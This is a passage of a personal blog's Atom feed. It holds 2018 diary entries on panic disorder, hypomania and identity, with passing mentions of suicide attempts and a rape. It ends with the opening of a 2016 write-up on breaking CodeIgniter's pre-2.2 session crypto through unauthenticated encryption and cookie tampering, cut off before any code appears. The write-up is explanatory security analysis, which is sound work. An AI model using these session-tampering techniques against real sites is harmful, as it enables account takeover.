some days i will highly associate with it, and others not at all.&lt;/p&gt;
&lt;p&gt;so when i cast my vision inward.. i see no identity at all, until i pause and let my eyes
adjust, and then i see a million. i don’t know how to convey this. how much it feels like i’m
at odds with a world that expects me to remain static, to possess a single identity and not a
dynamic process of identity. how much that can make me feel bad for not conforming with
their expectations; how that can manifest as disappointment and disgust and self-hate, none
of which helps, but instead pushes me toward repression.&lt;/p&gt;
&lt;p&gt;i find it hard to say i’m one person. it’s hard to say i possess “an identity”, to relate to
“my identity” when the singular is utterly dissonant here.&lt;/p&gt;
&lt;p&gt;it’s hard to say i relate to identity.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>panic disorder</title>
    <updated>2018-05-17T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/17/panic-disorder</id>
    <link href="https://kivikakk.ee/2018/05/17/panic-disorder" />

    <content type="html">&lt;p&gt;there’s a little gnawing, biting feeling in the pit of my stomach. like there’s a glowing
hot stone, but just a small one. it’s already moved up a bit now, around where you’d expect
the diaphragm to be when you’re fully exhaled. it’s not “real”. it’s not like it’s a sickness. it’s
entirely in my head. but it manifests right here in my chest, and i feel nauseous and sick of
breath. i’m dizzy, too, and if my mind wanders, if i don’t keep it on a tight leash, a skill i’ve
had to practice ever since this damn disorder graced my life with its presence, then it really
will spiral, fast, and even just thinking about that idea is enough to make the white hot
burning in my chest grow, its tendrils reaching out.&lt;/p&gt;
&lt;p&gt;i shoulda taken diazepam earlier when i felt this coming on but it receded a little and i
thought i’d be okay. but whatever. i’ve dealt with this literally hundreds of times before. i’ll
deal with it again. i know the lies my limbic system tells my brain, and though i’m not able to
stop those signals streaming in, to convince my brain not to deliver the panic to my
consciousness, so it’s up to pure discipline to hold it at bay and not fall into the path of least
resistance.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>train</title>
    <updated>2018-05-16T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/16/train</id>
    <link href="https://kivikakk.ee/2018/05/16/train" />

    <content type="html">&lt;p&gt;on the second carriage from the front. the sky is overcast with some unevenness as the
light filters through it.&lt;/p&gt;
&lt;p&gt;i love the sounds of public transit but i love applying my own music to the journey
even more, recasting the experience to suit my mood.&lt;/p&gt;
&lt;p&gt;this dusk light is something else. i wish there was a carriage with the interior lights off
or dimmed. i can’t imagine how amazing it would feel; dream-like and otherworldly,
transformative. it’s simple stuff like that which really makes life feel exciting. expanding
experience.&lt;/p&gt;
&lt;p&gt;one thing i love about taking public transport in melbourne is getting a look at the sea
of faces that make up our city. at this time there’s roughly 50:50 caucasian and not. and
y’know, for a colonially settled city, that’s pretty great. maybe that’s one of the reasons i like
box hill so much. i wonder if that’s just me trying to assuage my own white guilt tho.&lt;/p&gt;
&lt;p&gt;we pass over auburn rd and there’s a glimpse of a mass of red and white lights from
the cars below, gone as quickly as it appeared. lately multiple people have described the
world as noir, and i’m feeling that now. there’s definitely a vague sense of unease that
permeates the scene, hinting at dystopia, even though i can’t help but find beauty in
everything i see. i see beauty but it doesn’t mean i don’t see what’s actually there too.&lt;/p&gt;
&lt;p&gt;another train passes in the opposite direction just as the bass drops in the music i’m
listening to. little drops of serendipity.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>tired</title>
    <updated>2018-05-15T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/15/tired</id>
    <link href="https://kivikakk.ee/2018/05/15/tired" />

    <content type="html">&lt;p&gt;tryna think about what to write about all day, and finally it’s hit me.&lt;/p&gt;
&lt;p&gt;i’m tired.&lt;/p&gt;
&lt;p&gt;i am physically worn-out. i am in need of sleep. i feel like my heart has gotten more
good exercise in the last few weeks than it’s had in the last year and expanded several sizes,
and it’s great but it’s work too.&lt;/p&gt;
&lt;p&gt;for once: what i’m not is tired of life.&lt;/p&gt;
&lt;p&gt;i am joyful. i am experimenting with joy, and the results are more wonderful than i
had imagined they could be.&lt;/p&gt;
&lt;p&gt;my legs are cramping if i so much as pull on my calves even a little bit. my arms feel
weak. my hands feel strained from carrying grocery bags. there’s a part of my body which is
just the slightest bit ache-y which hasn’t been like that in a long time. these aches are good.
they’re satisfying; like they attend a feeling of accomplishment.&lt;/p&gt;
&lt;p&gt;my head has that heaviness that suggests lying down will result in sleep seconds later
— a really delightful heaviness, to be sure, for someone who barely managed catnaps.&lt;/p&gt;
&lt;p&gt;with coming down from hypomania i feel like my emotional range has actually
expanded. euphoria at the world and existing is wonderful and enjoyable. it feels great. but
having those feelings — and even stronger! — without an altered mood state? just because
the events that are happening are really that intense? that they resonate with who i am and
what i want that deeply, and aren’t simply riffing off of an episode?&lt;/p&gt;
&lt;p&gt;— and this is not to discount my feelings while hypomanic. but seeing the world as it
is when i’m more me and less an altered me is where i want to be. —&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;i’m tired, and i’m so ready for tomorrow.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>prelude</title>
    <updated>2018-05-14T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/14/prelude</id>
    <link href="https://kivikakk.ee/2018/05/14/prelude" />

    <content type="html">&lt;p&gt;today i’m listening to “prelude” by “the noisy freaks”, the first track in the album
“straight life”. (ha.)&lt;/p&gt;
&lt;p&gt;there’s a quiet piano opening, and like, that’s always going to elicit a response from
me. for most of my life, piano has been a really big thing. there’s almost always been one in
my house, wherever i’ve lived. there was a short time between moving out of my family’s
house when i was 18, and then spending my first pay cheque on a digital piano. maybe 3
months. i’ve taken that piano with me ever since, so literally 3 months in 27 years have i
been without a piano at my disposal.&lt;/p&gt;
&lt;p&gt;it’s .. wistful music? it makes me feel reflective. there’s some synth stuff going on, the
key isn’t happy or sad so much as contemplative. the energy picks up, for sure, but it mostly
propels my thoughts along the same lines rather than changing tracks. again, i’m drawn to
expressing how i’m neither happy nor sad nor neutral, but in a different place; maybe a
different time, as my thinking reaches into the past.&lt;/p&gt;
&lt;p&gt;even the name “prelude” evokes something. on the one hand, it’s the first track of the
album. the last track is called “outro (bonne nuit)”. it’s not exactly difficult to work out
what’s happening. but in terms of my relation to the music .. well, it’s talking about a
beginning, right? and so while it encourages me to think into the past, the best thing you can
do with that is to take what you’ve learned and apply it to the future. in this sense i feel like
this kind of music is preparatory, consolidatory (is that a word? it is now.), asking you to
grow up, to accept your mistakes, and to not repeat them.&lt;/p&gt;
&lt;p&gt;it may be that these feelings the music evokes are unique to me; like the piano
opening, instruments and samples used throughout bring me back to earlier times in my life,
automatically drawing my thoughts across the span of time from then until now. it’s a
vaguely retro/90’s-themed album, though, so maybe that’d hold for a bunch of people my
age who had similar interests to me.&lt;/p&gt;
&lt;p&gt;there’s something haunting about it. maybe reflection is always haunting, revealing
the indefatigability of time itself, how we can never wind it back, how there’s no turning
away from the future. damn it, i really cannot help but be morbid, even with a perfectly
lovely piece of music.&lt;/p&gt;
&lt;p&gt;but perhaps it’s not morbidity so much as radical acceptance of what life is, and with
that comes the ability to hold a greater appreciation for every little moment.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>105/710</title>
    <updated>2018-05-13T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/13/105-710</id>
    <link href="https://kivikakk.ee/2018/05/13/105-710" />

    <content type="html">&lt;p&gt;i got a lotta feelings about my apartment, folx.&lt;/p&gt;
&lt;p&gt;when i think about it, i first and foremost think of all the other people who have
passed through it. as you know, i’m a people-centric kinda girl.&lt;/p&gt;
&lt;p&gt;there was kairi, whom i moved in with first. then hazel. then imogen.&lt;/p&gt;
&lt;p&gt;y’know, that’s not actually that many.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;of course, a lot of bad shit has gone down here. more than one suicide attempt, but
one in particular that will stay with me forever. the incredible tension that has existed within
these walls when things weren’t working out with me and a partner. (fucking pro-tip to ashe:
do not live with a partner. not for a long time. it does not work.)&lt;/p&gt;
&lt;p&gt;but there’s been a lot of good too. excluding those already-mentioned, i’ve had five
other partner(?)s stay the night, and it usually has been mostly just relaxing together,
listening to music and enjoying each other’s company. it’s almost always been pleasant. i’ve
worked at github since before moving here, so it’s always been my place of work, which has
for the most part been a steady and stabilising part of my life. i’ve had friends over to play
games and have food. friends with their animals, sometimes. i cat-sat milton here. it wasn’t
that long after moving here that i started therapy with my current therapist and finally got
past the worst of my panic disorder.&lt;/p&gt;
&lt;p&gt;there’s been a lot of self-discovery. a lot of self-implosion, too, and that’s always hard
to face. there’ve been sleepless nights and more restful ones. some nights where i’ve felt
hollow to the core, and some days where i’ve felt like life was full of meaning and wonder.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;i don’t know what’s to come. i struggled to reclaim this space as my own after
everything with imogen earlier this year, but the last week has seen me go from hermitude in
the study to spending time all over the apartment again, and enjoying it. i’ve let go of
something. i still don’t know if i’ll want to remain here by year’s end when the lease expires.
joni’s suggestion was that moving might itself be unsettling, and i can sympathise with that
view point. on the other hand, a fresh start might be valuable.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;we’ll see how i’m feeling then.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>green tea</title>
    <updated>2018-05-12T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/12/green-tea</id>
    <link href="https://kivikakk.ee/2018/05/12/green-tea" />

    <content type="html">&lt;p&gt;it’s time for some “twinings pure green tea”. i made it with 98° water.&lt;/p&gt;
&lt;p&gt;the mug is really pleasantly warm. it’s a little cool inside and i’m wearing my
fingerless gloves, so i can cup it in both hands and feel the heat radiate. steam’s rising from
the cup, and that’s an impossibly relaxing thing to see and feel as it brushes your face.&lt;/p&gt;
&lt;p&gt;as it steeps the lightly stringent aroma begins to develop. my neck or throat is a little
sore so taking that first sip is a little more difficult than i’d have expected. it’s still steaming
hot, maybe 90-ish degrees, and the flavour barely comes through. at times like this, all you
can do is keep smelling the roses. or the camellia sinensis, as the case may be.&lt;/p&gt;
&lt;p&gt;blow a bit on the tea and the steam rushes to fog up your glasses.&lt;/p&gt;
&lt;p&gt;i’m still struggling to taste it, and i don’t think it’s because it’s too hot. my taste buds
might be a little out of it today. but one thing never fails: you let the tea flow into the back of
your mouth — not yet swallowing, but letting it sit there and stimulate the taste buds at the
back of your tongue. the bitter notes come out. works every time. the more bitter the tea,
the more i love to do this — it’s like finally getting the full experience. (in reality, what’s
probably happening is that it’s just stimulating more of your taste buds. the taste bud “map”
suggests the bitter ones are at the back of your tongue, but that’s been thoroughly
debunked.)&lt;/p&gt;
&lt;p&gt;my throat is really getting quite sore by this point, and the tea isn’t something i’m very
much able to focus on, or be mindful of. but it’s worth trying; when the going gets tough, etc.
etc. it’s cool enough now (probably 70°) that i can take a relatively big sip and just hold it,
swish it around my mouth. the temperature difference is really wonderful. it reminds me of
a hot shower.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>bed</title>
    <updated>2018-05-10T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/10/bed</id>
    <link href="https://kivikakk.ee/2018/05/10/bed" />

    <content type="html">&lt;p&gt;the blanket on top is red, soft, velvety. i don’t know what it’s made of. it’s the kind of
material that isn’t especially thick, but feels warm. too warm under it and you sweat easily
for some reason.&lt;/p&gt;
&lt;p&gt;i think it came from kairi, it rather, that she brought it with her with belfast and then
didn’t want to take it with her when she moved out. almost everything like that i’ve gotten rid
of, donated, given to a friend. but not this. not because it reminds me of her. it’s just a really
nice blanket.&lt;/p&gt;
&lt;p&gt;there’s a purple blanket underneath it. same size, purple not red, and just a slightly
different material. i’ve been snuggled up in it in many different places; couches, chairs, beds.
it doesn’t mean anything specific. it’s just a nice blanket.&lt;/p&gt;
&lt;p&gt;under that, a sheet. i had no idea you were “supposed” to sleep under a sheet for most
of my life. i didn’t understand the concept of flat sheets whatsoever; fitted ones worked
better, so why did they exist? it’s microfibre or some fancy word like that, which is another
way of saying $20 at woolworths.&lt;/p&gt;
&lt;p&gt;this place feels like something i’ve slowly reclaimed.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>hypomania</title>
    <updated>2018-05-09T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/09/hypomania</id>
    <link href="https://kivikakk.ee/2018/05/09/hypomania" />

    <content type="html">&lt;p&gt;hypomania: “a mood state characterized by persistent disinhibition and elevation
(euphoria). […] According to DSM-5 criteria, hypomania is distinct from mania in that there
is no significant functional impairment; mania, by DSM-5 definition, does include significant
functional impairment and may have psychotic features.”&lt;/p&gt;
&lt;p&gt;this is kinda a thing that keeps occurring to me on and off, as you’re aware. i wanted
to try to describe the subjective experience. because it’s a mood state defined by a set of
symptoms, i’ll do so according to the list of criteria.&lt;/p&gt;
&lt;p&gt;pressured speech: i’m fucking talkative lately. i can’t stop expressing myself. i tweet a
lot and i talk a lot, but inside my head when i’m alone it’s like a freight train. the thing is, it
feels good. it feels like i’m putting together some unified theory of the world and psyche and
essentially every damn thing i’m talking about, like it All Makes Sense™. the desire to keep
talking and theorising is fuelled by this sense that i’m making sense of things, and that if i
keep doing so, i’ll have made sense of everything.&lt;/p&gt;
&lt;p&gt;inflated self-esteem or grandiosity: my self-image is really good lately. this isn’t a bad
thing in itself, but it contrasts to my baseline of “this is fine”. i feel much more associated
with my body, much more accepting of it, and i’m much more willing to express the idea that
i’m good or even excellent at certain tasks. similarly, i have less qualms with putting myself
out there.&lt;/p&gt;
&lt;p&gt;decreased need for sleep: this is pretty simple. lately i’ve not been tired, have had
trouble falling asleep if i’ve gone to bed early (e.g. with you), and still not been tired in the
morning when i wake up.&lt;/p&gt;
&lt;p&gt;flight of ideas or the subjective experience that thoughts are racing: see ‘pressured
speech’. it feels like everything is related.&lt;/p&gt;
&lt;p&gt;easily distracted and attention-deficit: this one hasn’t hit me as much, subjectively,
though i have struggled to accomplish much work-wise lately.&lt;/p&gt;
&lt;p&gt;increase in psychomotor agitation, or occasionally in some, increased irritability:
maybe.&lt;/p&gt;
&lt;p&gt;hypersexuality: from ace to 8 hours of fucking in 48 hours. yeah.&lt;/p&gt;
&lt;p&gt;involvement in pleasurable activities that may have a high potential for negative
psycho-social or physical consequences: yes. there’s the whole 8 hours of sex with someone
you just met thing, but i’m willing to excuse that as simply queer life sometimes. but we
didn’t use any protection! hello disinhibition. :/&lt;/p&gt;
&lt;p&gt;i need “elevated mood” plus three of those for the DSM-IV-TR definition. i have
elevated mood plus six, so …&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>laptop</title>
    <updated>2018-05-08T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/08/laptop</id>
    <link href="https://kivikakk.ee/2018/05/08/laptop" />

    <content type="html">&lt;p&gt;today i’m looking at my laptop. it’s covered in a variety of stickers and there’s a lot of
history recorded in them.&lt;/p&gt;
&lt;p&gt;honestly, i’m not a fan of keeping history around; i don’t mean “delete or trash
everything a day after it’s gone” — i like to hold onto things for as long as they’ve held their
relevance. but in a habit i picked up from marie kondo, once something has served me in
life, i appreciate it one last time and then move on.&lt;/p&gt;
&lt;p&gt;i used to hang onto &lt;strong&gt;everything&lt;/strong&gt;. starting from when i was 12, i’d hang onto every text
document i wrote or acquired, every picture i downloaded, every project i worked on, every
piece of music, everything. when i’d get a new computer or reinstall an OS, i’d collect them
all into a folder (usually called “old” or “archive”), and stick in my new, empty documents
folder. next time, i’d do the same. up until last year you could go through the onion layers of
“old” folders, reaching further and further into my history, right back to when i was 12.&lt;/p&gt;
&lt;p&gt;preserving this was an effort, because i’ve had how many new computers, how many
reinstalls in the last 15 years? but it felt like something had to do to, like throwing that away
would violate a sacred principle i lived my life by. turns out that principle was OCD.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;so, this laptop. the cats in the top-left corner were sent to me by my coworker aaron.
he’s kind of a Big Deal in the ruby and rails communities, so when he tweeted about sending
these to anyone, i DM’d him on slack and was like “omg would you??” and he just mailed me
out an envelope full of them. i was ecstatic, so they went straight on my laptop. (there’s one
in the front cover of my diary too.) now it’s kind of surreal that we’re “friends” who video
call every week.&lt;/p&gt;
&lt;p&gt;there’s a variety of work related stickers without much backstory: the four big octocats
along the middle line, the vinyl octocat covering the apple logo, the pride octocat. they are
what they are. this is a work laptop and it seemed appropriate. same with the git and the
datadog (purple woofer up top) stickers.&lt;/p&gt;
&lt;p&gt;there’s a bunny sticker on opposite corners. they were from a sticker set i got to give
to kairi. there were others but i removed them because of all the negativity they were
associated with. but i couldn’t bare to drop the bunnies.&lt;/p&gt;
&lt;p&gt;the bottom-right corner is the logo of my favourite band, school food punishment,
now disbanded. it came with a limited-edition cd release.&lt;/p&gt;
&lt;p&gt;“gender is not binary” is actually from a member of parliament in nsw (!). she sent
them and a bunch of other stickers out. that was pretty cool.&lt;/p&gt;
&lt;p&gt;idk why i have the slack pride one. whatever. more rainbows on a laptop is always
good.&lt;/p&gt;
&lt;p&gt;there’s two stickers from github constellation, an event held last november in
melbourne where i attended as staff. they were handing those stickers out. one is the
octocat “constellation” on the bottom of the laptop. the other was a grim reaper (!?), which
i’ve covered with the “invasion day” sticker. i covered it because it was actually really grim:
that night was the one i was raped. a bit too much to leave a literal grim reaper sticker from
that night on there, y’know? whereas i support indigeneousx on patreon.&lt;/p&gt;
&lt;p&gt;“be pawsitive”. cute furry artist put these together. my keys have a little charm of the
same design on them.&lt;/p&gt;
&lt;p&gt;finally, the bunny girl drinking a milkshake. it’s from a LINE sticker set i used with
emma a lot.&lt;/p&gt;
&lt;p&gt;there’s a lot i’m ready to move on from with this laptop. it kinda documents the last 2
years of my life, the 2 years i’ve had it. i’m giving it to a friend when my replacement laptop
arrives, which is pretty soon.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>bullet journal</title>
    <updated>2018-05-07T00:00:00Z</updated>
    <id>https://kivikakk.ee/alex/2018/05/07/bullet-journal</id>
    <link href="https://kivikakk.ee/2018/05/07/bullet-journal" />

    <content type="html">&lt;p&gt;There’s my diary on the desk. It didn’t start out that way; it was a bullet journal
originally. It’s a Moleskine, since those are the fancy diaries with the dotted grids suitable
for bullet journals. I think the covers are leather. Oh well. I bought this years ago. At a
guess it has .. 180, 200 pages? I’m up to page 158 right now. I number them myself. I’ve
only ever used two different types of pens in it, both made by the same Japanese pen
company, Zebra. I can’t say I know for sure why I’ve chosen that pen company as “my” pen
company, but I have.&lt;/p&gt;
&lt;p&gt;It has a little tassel attached to it to use as a bookmark. I keep the current day
marked.&lt;/p&gt;
&lt;p&gt;The paper is slightly yellowed, with a grid of light dots, maybe 8mm apart in both
directions. It’d probably be good for playing grid-based paper games, but that’s not what I
use it for. At a guess I’d say it was 70~80gsm. Good, strong paper, without being bulky.&lt;/p&gt;
&lt;p&gt;For a while I maintained an index on the first page, in true bullet journal fashion, with
page references for months, and a yearly overview for each year as it happened, three
months to a page. Turns out that wasn’t actually useful to me. Likewise, it was purely a daily
todo list and short bullet points on things that happened in a given day, if I felt it was
exceptional enough to mark it.&lt;/p&gt;
&lt;p&gt;The beginning was November 2016. I wasn’t doing too well then. “Diazepam helped
alot.” “Fucking chill.” “chill” “relax about life a little” “Feeling a bit underappreciated” (NB.
this was almost certainly the understatement of the year.) The tone is rarely positive, and
when it is, it feels fabricated. There’s a lot of self-reassurance that things will be okay, and
reminders to try to provide reassurance to my partner that things will be okay. “Panic attack
all morning.” “Didn’t get any work done.” Sometimes there’s an upturn. “Feel better as the
day has gone on.” Then there’s a downturn. “Last night she was very suicidal.”&lt;/p&gt;
&lt;p&gt;If I jump 60 pages ahead, the tone has changed significantly. “Sun feels so good!!
aaaaaaaaaaa” “GOD I LOVE BUNNIES” “feeling pretty fine w/ new hair”. The style of the
journal has changed, and it is much more a diary. Short dot points of a day’s events give way
to entire pages of solid prose, feelings I can now express.&lt;/p&gt;
&lt;p&gt;Further months pass and days wax and wane, grow thicker and thinner. Sometimes
it’s thin because I’m too busy to write, other times because I’m too depressed to. Sometimes
it’s thick because I have too many negative emotions, other times too many positive events to
detail.&lt;/p&gt;
&lt;p&gt;A lot happens in 158 pages.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Breaking homegrown crypto</title>
    <updated>2016-02-20T00:56:00Z</updated>
    <id>https://kivikakk.ee/cryptography/2016/02/20/breaking-homegrown-crypto</id>
    <link href="https://kivikakk.ee/2016/02/20/breaking-homegrown-crypto" />

    <content type="html">&lt;p&gt;Note: this is a pretty long article which does a deep dive into breaking some amateur crypto.  I go on for quite a bit.  Make a cup of tea before reading, and get ready to read some code!&lt;/p&gt;
&lt;h3&gt;introduction&lt;/h3&gt;
&lt;p&gt;Everyone knows it.  Rolling your own cryptography is a terrible idea.  Here’s &lt;a href=&quot;https://www.schneier.com/essays/archives/1999/03/cryptography_the_imp.html&quot;&gt;Bruce Schneier writing about it in &lt;strong&gt;1999&lt;/strong&gt;&lt;/a&gt;.  Here’s &lt;a href=&quot;http://security.stackexchange.com/a/18198/34825&quot;&gt;an excellent answer on the Infosec Stack Exchange&lt;/a&gt; about why you shouldn’t do it.  Here’s &lt;a href=&quot;https://www.schneier.com/blog/archives/2015/05/amateurs_produc.html&quot;&gt;another Scheiner post&lt;/a&gt; with an excellent opening sentence.&lt;/p&gt;
&lt;p&gt;This, then, is a post about a broken homegrown cryptosystem; namely, that used in &lt;a href=&quot;https://www.codeigniter.com&quot;&gt;CodeIgniter&lt;/a&gt;, pre-2.2.  This version was current until the release of CodeIgniter 2.2, on &lt;a href=&quot;https://ellislab.com/blog/entry/codeigniter-2.2.0-released&quot;&gt;the 5th of June, 2014&lt;/a&gt;, and you can still find sites on it today.&lt;/p&gt;
&lt;p&gt;The attack described in the post depends on a lot of things to go right (or wrong, if you will); it’s not just that they used a bad cipher, but also the fact that they rolled their own session storage, and implemented a fallback, and a dozen other things.  This is probably typical for most bugs of this class; a bunch of bad decisions which aren’t thought through find their logical conclusion in complete insecurity.&lt;/p&gt;
&lt;p&gt;&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;Let’s get into it!&lt;/p&gt;
&lt;!--more--&gt;
&lt;hr /&gt;
&lt;h3&gt;what are sessions and why do you want them?&lt;/h3&gt;
&lt;p&gt;When you visit a website, you might want to log in, and have the website remember that you’re logged in.&lt;/p&gt;
&lt;p&gt;When I was 13, I wrote a website with a “login” feature; I didn’t know about cookies, so instead the logged in part of the website just passed around your credentials in URL parameters.  To obscure them from the user, the login page was actually a POST form which rendered a frameset (!); this way you’d never see your password in the address bar.&lt;/p&gt;
&lt;p&gt;It was a great idea!  But, all it took was someone right-clicking a link and selecting “copy” and along went their credentials too.  So, an imperfect idea.&lt;/p&gt;
&lt;p&gt;I learned about cookies.&lt;/p&gt;
&lt;p&gt;When I verified the user’s credentials against the backend (and to be honest, it was probably SQLi-filled), I put a &lt;code&gt;user_id&lt;/code&gt; cookie on their machine.  When they come back, if they have the cookie, they’re in!&lt;/p&gt;
&lt;p&gt;Modifying cookies didn’t seem like the easiest or most obvious thing, but eventually I tried it, and found I could become whomever I wanted to be.&lt;/p&gt;
&lt;p&gt;I learned about sessions.&lt;/p&gt;
&lt;p&gt;PHP’s implementation ran this way: we’ll throw a cookie on the user’s machine, maybe called &lt;code&gt;PHPSESSID&lt;/code&gt;, which is just an opaque identifier.  Session variables accumulated throughout the script execution will then get written to storage keyed by that ID; often just files in &lt;code&gt;/tmp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This has a few advantages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The user can’t modify their own session data.  No more setting &lt;code&gt;user_id&lt;/code&gt; or &lt;code&gt;isAdmin&lt;/code&gt; for you!&lt;/li&gt;
&lt;li&gt;The user can’t &lt;em&gt;see&lt;/em&gt; their own session data.  This one might be less obviously bad, but in general the less data you (needlessly) expose the better.&lt;/li&gt;
&lt;li&gt;You can perform other tricks to verify the session owner.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For instance, you could — completely hypothetically — store the user’s IP address or user agent in the session.  Then, when they use the session, you confirm the session data against their IP/UA.  This prevents an attack where someone sniffs or steals the &lt;code&gt;PHPSESSID&lt;/code&gt; of another user and attempts to use it themselves.&lt;/p&gt;
&lt;h3&gt;what happens when you don’t have a good place to store session data?&lt;/h3&gt;
&lt;p&gt;Say you’re on a weird shared host and &lt;code&gt;/tmp&lt;/code&gt; is unwritable, or shared, or filled with piranhas.  Your database has a limit of one write per minute.  Where do you put your sessions?&lt;/p&gt;
&lt;p&gt;“Maybe,” you think, “maybe I put the sessions in the cookie I give to the user!?”&lt;/p&gt;
&lt;p&gt;This is not a bad idea.  This is essentially “store everything in the cookie” per above, although it presumes a level of structure given by the session storage mechanism.  The key realisation is that you still want those three things above:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The user can’t modify their own session data.&lt;/li&gt;
&lt;li&gt;The user can’t see their own session data.&lt;/li&gt;
&lt;li&gt;You can perform other tricks to verify the session owner.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;How do we stop them modifying their own session data?  You &lt;a href=&quot;https://en.wikipedia.org/wiki/Hash-based_message_authentication_code&quot;&gt;HMAC&lt;/a&gt; it.
Of course, most people don’t &lt;em&gt;actually&lt;/em&gt; use HMAC and instead just use
&lt;strong&gt;H&lt;/strong&gt;(&lt;em&gt;k&lt;/em&gt; || &lt;em&gt;m&lt;/em&gt;)
or
&lt;strong&gt;H&lt;/strong&gt;(&lt;em&gt;k&lt;/em&gt; || &lt;em&gt;m&lt;/em&gt; || &lt;em&gt;k&lt;/em&gt;)
or whatever their “instincts” told them to do; the latter getting the job done while admitting a few attacks that a Sufficiently Capable (or Cashed Up) Adversary can follow through on; the former practically negligent (see &lt;a href=&quot;https://en.wikipedia.org/wiki/Length_extension_attack&quot;&gt;length extension attack on Wikipedia&lt;/a&gt;; thanks to &lt;a href=&quot;https://www.reddit.com/r/PHP/comments/46pv94/breaking_codeigniters_homegrown_crypto/d06ze0h&quot;&gt;nikic for the correction&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;So, we transmit the MAC — maybe you just append or prepend it to the session, or put it in a separate cookie, whatever — and then when we get a session back we authenticate it.  If authentication fails, we don’t touch it, we throw it away; certainly we don’t try to e.g. unserialise it or anything.  We didn’t produce it, so it’s a live wire.&lt;/p&gt;
&lt;p&gt;That done, we now have “the user can’t modify their own session”, and this is a pretty good start.  We have a secure storage mechanism, albeit one where the user can see their own session data.&lt;/p&gt;
&lt;p&gt;We can tackle the “verify the session owner” point by storing IP and UA in the session as before; they can’t modify these values themselves, so an attacker can’t either.  That said, they can see these values and realise they’re probably used in session authentication, which makes impersonating the user that much easier.&lt;/p&gt;
&lt;p&gt;To finally achieve a desirable level of security, we might want to stop them from seeing their session data too.  Thus we symmetrically encrypt the session data.&lt;/p&gt;
&lt;p&gt;Done!&lt;/p&gt;
&lt;h3&gt;what’s one good way to screw this up?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;http://security.stackexchange.com/a/2210/34825&quot;&gt;Encryption without authentication&lt;/a&gt;.  In other words, the user can’t see their session, but &lt;em&gt;can&lt;/em&gt; modify it.&lt;/p&gt;
&lt;p&gt;At first blush, this doesn’t sound so bad: they can’t know what they’re changing the data to, so changes are essentially random and astronomically unlikely to produce a “working” result.&lt;/p&gt;
&lt;p&gt;In reality, it’s &lt;em&gt;quite&lt;/em&gt; bad: if there’s any pattern to the encrypted data (i.e. it’s not indistinguishable from random noise), then it can be exploited; for example, to repeat or remove certain sections of the data. With enough analysis, you could even start crafting arbitrary results.&lt;/p&gt;
&lt;p&gt;If the encryption algorithm used is reasonable, this shouldn’t be possible; any change should cause the decryption to fail or produce garbage results.  This could still be a vector for an effective DoS, though.&lt;/p&gt;
&lt;h3&gt;what if the encryption algorithm used isn’t reasonable?&lt;/h3&gt;
&lt;p&gt;Let’s finally turn our attention to CodeIgniter.  As a reminder, we’re looking at the pre-2.2 code, the latest release then being 2.1.4.&lt;/p&gt;
&lt;p&gt;First, let’s look at their &lt;a href=&quot;https://github.com/bcit-ci/CodeIgniter/blob/2.1.4/system/libraries/Session.php&quot;&gt;session storage mechanism, system/libraries/Session.php&lt;/a&gt;.  It’s highly configurable (probably a bad thing); note these options and their meanings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$sess_encrypt_cookie&lt;/code&gt; — do we encrypt the cookie?  Defaults to false, but I bet we want this turned on.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$sess_use_database&lt;/code&gt; — do we stick the session data in the database?  Defaults to false.  Maybe it’s fine to leave this.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$encryption_key&lt;/code&gt; — sounds very important.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If we read the constructor, we see the encryption key is indeed required, regardless of whether the cookie itself is encrypted.  Why would that be?&lt;/p&gt;
&lt;p&gt;If we scroll down to &lt;code&gt;_set_cookie&lt;/code&gt;, we can see &lt;a href=&quot;https://github.com/bcit-ci/CodeIgniter/blob/2.1.4/system/libraries/Session.php#L655-L663&quot;&gt;something strange&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-php&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;?&lt;/span&gt;
